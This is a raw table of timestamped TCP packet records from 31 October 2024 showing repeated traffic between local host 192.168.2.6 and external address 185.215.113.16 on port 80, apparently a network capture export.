Oct 31, 2024 01:19:21.582606077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582622051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582624912 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582634926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582645893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582650900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582664013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582664013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582675934 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582679033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582694054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582695961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582709074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.582715988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582740068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.582762003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583745003 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583760977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583781958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583796024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583796024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583811045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583811045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583822966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583827019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583842039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583842993 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583857059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583889008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.583964109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.583987951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584002972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584003925 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584017992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584023952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584039927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584054947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584068060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584068060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584078074 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584084988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584085941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584114075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584122896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584129095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584146023 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584151983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584161043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584163904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584176064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584183931 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584191084 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584192038 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584208012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584216118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584223986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584228992 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584239006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584243059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584254026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584259987 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584270000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584275007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584284067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584290028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584300041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584311962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584314108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584321022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584328890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584332943 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584347010 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584353924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584362030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584368944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584377050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584387064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584393024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584399939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584408045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.584415913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584433079 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.584448099 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585146904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585195065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585227013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585242033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585258007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585263968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585273981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585283041 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585300922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585305929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585315943 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585330963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585340977 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585347891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.585371971 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.585388899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.655397892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.660547972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.660573959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.660589933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.660671949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.697356939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.700555086 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702382088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702459097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702466011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702474117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702491045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702502966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702508926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702523947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702528000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702570915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702581882 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702601910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702616930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702630997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702647924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702655077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702657938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702671051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702680111 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702686071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702692986 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702702045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702713013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702717066 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702732086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702733040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702743053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702745914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702759981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702775002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702786922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702786922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702790976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702805042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702812910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702826977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702830076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702841043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702851057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702855110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702863932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702878952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702893019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702905893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702905893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702914000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702922106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702935934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702945948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702950954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702956915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.702965021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702980042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.702986002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703001976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703007936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703007936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703016996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703023911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703032017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703037024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703039885 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703047991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703061104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703078032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703082085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703099966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703109026 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703116894 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703130007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703131914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703141928 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703146935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703161955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703162909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703176975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703201056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703201056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703201056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703201056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703213930 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703217030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703232050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703239918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703253984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703258038 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703273058 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703275919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703291893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703294039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703309059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703318119 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703327894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703332901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703349113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703349113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703361988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703377008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703387022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703387022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703394890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703396082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703411102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703418970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703428984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703438044 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703443050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703460932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703460932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703469992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703485966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703486919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703500986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703516960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703525066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703525066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703538895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703540087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703551054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703556061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703572989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703579903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703588963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703594923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703603983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703612089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703618050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703627110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703633070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703648090 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703650951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703658104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703661919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703675985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703676939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703691959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703699112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703715086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703722000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703727007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703738928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703752995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703757048 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703768969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703779936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703783035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703794003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703797102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703813076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703814983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703821898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703828096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703843117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703857899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703859091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703859091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703871012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703879118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703881979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703893900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703903913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703907967 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703918934 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703922987 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703932047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703938007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703950882 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703953028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703964949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703968048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703983068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.703984976 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703994036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.703998089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704013109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704013109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704026937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704031944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704037905 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704041958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704062939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704063892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704080105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704087973 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704094887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704109907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704112053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704123974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704137087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704139948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704155922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704170942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704185963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704186916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704186916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704204082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704210043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704226971 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704233885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704248905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704252005 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704263926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704265118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704279900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704288006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704294920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704299927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704309940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704318047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704325914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704334021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704343081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704356909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704359055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704365969 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704379082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704382896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704395056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704400063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704402924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704413891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704417944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704432011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704432964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704446077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704448938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704464912 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704466105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704480886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704489946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704489946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704495907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.704504013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.704509974 CET	80	49998	185.215.113.16	192.168.2.6
